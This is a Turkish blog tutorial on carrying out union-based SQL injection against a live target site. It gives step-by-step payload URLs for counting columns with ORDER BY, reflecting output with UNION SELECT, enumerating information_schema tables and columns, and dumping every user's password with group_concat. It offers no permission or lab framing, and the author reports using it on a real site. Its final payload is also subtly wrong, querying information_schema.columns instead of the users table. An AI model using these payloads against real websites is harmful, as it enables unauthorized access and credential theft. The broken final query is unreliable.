SQL Injection Nasıl Yapılır?

SQL açığını tespit ettik, peki ya sonrası?
Hedef sitemizde sql hatasını aldıktan sonra sıra geliyor sitenin veritabanını tanımaya. Kaç tane tablosu var, o tabloda hangi kolonlar var, kolon içerisinde hangi veriler var bunları adım adım öğrenmemiz gerekecek.

İlk olarak SQL'de order by komutunu kullanacağız. Hedef sitede kaç kolon olduğunu bilmediğimiz için sırayla 1 kolon, 2 kolon, 3 kolon şeklinde deneyerek kolon sayısını öğreneceğiz.

Linkte boşluk kullanamayacağımız için + kullanarak kelimeleri birbirine bağlamalıyız.
(hedef site linki)+order+by+1 yazıp siteye girelim.

1 kolon mu var diye baktık ama site açıldı. Bu şekilde linkimizi devam ettirerek sitenin hata vermesini sağlayalım.

(hedef site linki)+order+by+1
(hedef site linki)+order+by+2
(hedef site linki)+order+by+3 vs

Aşağıda ki linke kadar sürekli site açıldı fakat 19'u deneyince sitede hata mesajı belirdi. Demek ki benim sql injection uyguladığım sitede 18 kolon varmış bunu öğrenmiş olduk.


Şimdi bu 18 kolonu ekrana yansıtalım.
SQL'de union select komutu iki tabloyu birleştirmeye yarar. Sitede ki içeriği bilmediğimiz için, bizim oluşturacağımız boş tablolarla sitedeki veritabanını birleştirdiğimizde ekrana sitede ki içerikler yansımış olacak. Yani bir nevi veritabanında ki içeriği boş tablolara kopyalıyoruz. Hedef sitemde 18 tablo olduğu için 18'e kadar rakamları sıraladım.


(hedef site linki)+union+select+1,2,3,4 (bulduğunuz kolon sayınıza kadar)

Bu yaptığımız işlemden sonra ekrana rakamların yansıması gerekiyor. Bazen yansımadığı durumlar oluyor, bu gibi durumlarda bypass denememiz gerekiyor. Bypass konusunu daha sonra geniş çaplı ele alacağız.
Ekrana rakam yansımadığı için id'deki rakamın başına - (tire) koyalım. Yine yansımazsa linkin sonuna -- koyalım. Çeşitli bypass yöntemlerini deneyerek mutlaka ekrana rakamları yansıtmalıyız.

Ekrana 2 ve 3 rakamları yansıdı. Demek ki bu kolonlarda açık mevcut. Bundan faydalanarak 2 yada 3 yazan yerlere farklı şeyler yazdırmasını sağlayalım.
Linkimizde 2 yazan yere version() yazarsak ekranda 2 yazan yerde veritabanının versiyonu yazacaktır. Aynı şey ekrana yansıyan diğer rakamımız içinde geçerli.




Her iki durumda da ekrana 5.0.83-community yazdığını görüyorsunuz.

Bu sayılardan (2 ve 3) herhangi birisi seçerek devam edelim. Hangisini seçtiğimizin bir önemi yok, yukarıda görüldüğü gibi her iki kolonda da ekrana içerik yansıtabiliyoruz. Ben 2'yi seçiyorum.


Linkte 2 yerine table_name ve link sonunda from information_schema.tables ekleyelim.



Gördüğümüz gibi ekrana kolon ismi yansıdı. Genelde ilk isim resimde ki gibi CHARACTER_SETS'tir. Diğer isimleri öğrenmek için linkin sonuna limit 1,1 ekleyelim.

(hedef site link)/news.php?id=-4+union+select+1,2,table_name,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+information_schema.tables+limit+1,1

Ardından limiti sürekli arttırarak diğer isimleri de ekrana yansıtalım. Yani linkin son kısımları şu şekilde olacak.

+from+information_schema.tables+limit+1,1
+from+information_schema.tables+limit+2,1
+from+information_schema.tables+limit+3,1
+from+information_schema.tables+limit+4,1 vs

Sonuçlardan bir kaçı..




Ekrana yansıyan bu isimlerden işimize yarayanları belirleyip, bundan sonrasında o isim üzerinden devam etmemiz gerekiyor. Ekrana yansıyan içeriklerde Admin, Users, Kullanıcılar, Admin vb isimler varsa bu alanları seçerek devam edersek amacımıza ulaşabiliriz.

İsmi belirledik, farz ediyorum ki USERS adını seçtik. Öncelikle bu ismi hex'lemek gerekiyor.
Bunun için farklı sitelerden yada programlardan destek alabiliriz.
HEX'lemek için tıklayın.

users kelimesinin hex'lenmiş hali 7573657273'dir.
Bu ifadenin başına 0x ekleyerek 0x7573657273 yapıyoruz.

Linkimizde bir kaç düzenleme yapmamız gerekiyor. Aşağıda ki kalın yazılan kısımları değiştirelim

(hedef site link)/news.php?id=-4+union+select+1,2,column_name,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+information_schema.columns+where+table_name=0x7573657273+Limit+1+Offset+1

Bu linki kendi linkinize göre değiştirmeniz gerekiyor. Ardından yapılması gereken tek şey tekrardan limiti arttırmak ve ekrana yansıyan içerikleri incelemek.

...+Limit+1+Offset+1
...+Limit+1+Offset+2
...+Limit+1+Offset+3
...+Limit+1+Offset+4

şeklinde linkin son hanesini sürekli arttırıyoruz.
Taki işimize yarar kolonları bulana kadar (Password vb).
Farz ediyorum ki password 5. kolonda ekranda belirdi

(hedef site link)/news.php?id=-4+union+select+1,2,3,4,group_concat(**2),6,7,8,9,10,11,12,13,14,15,16,17,18+from+information_schema.columns+where+table_name=*1


*1 yaptığım yere hex'lemiş olduğumuz tablo adını yazıyoruz (Bende users)
**2 yaptığım yere ise limit offset ile ekrana yansıttığımız içerik.

Dikkat etmemiz gereken nokta, group_concat ifadesini, limit offset'teki rakam olmalı (bende 5)

Linkimizin son hali şu şekilde olacaktır.

(hedef site link)/news.php?id=-4+union+select+1,2,3,4,group_concat(Password),6,7,8,9,10,11,12,13,14,15,16,17,18+from+information_schema.columns+where+table_name=users


Link bu haliyle, USERS tablosunda ki PASSWORD kolonunun içerisinde ki verileri ekrana yazacaktır. Böylece tüm kullanıcıların şifreleri ekrana yansıyacaktır.

Sql Injection'u tamamladık. Kolay gelsin.






Adsız

Phasellus facilisis convallis metus, ut imperdiet augue auctor nec. Duis at velit id augue lobortis porta. Sed varius, enim accumsan aliquam tincidunt, tortor urna vulputate quam, eget finibus urna est in augue.

Hiç yorum yok:

Yorum Gönder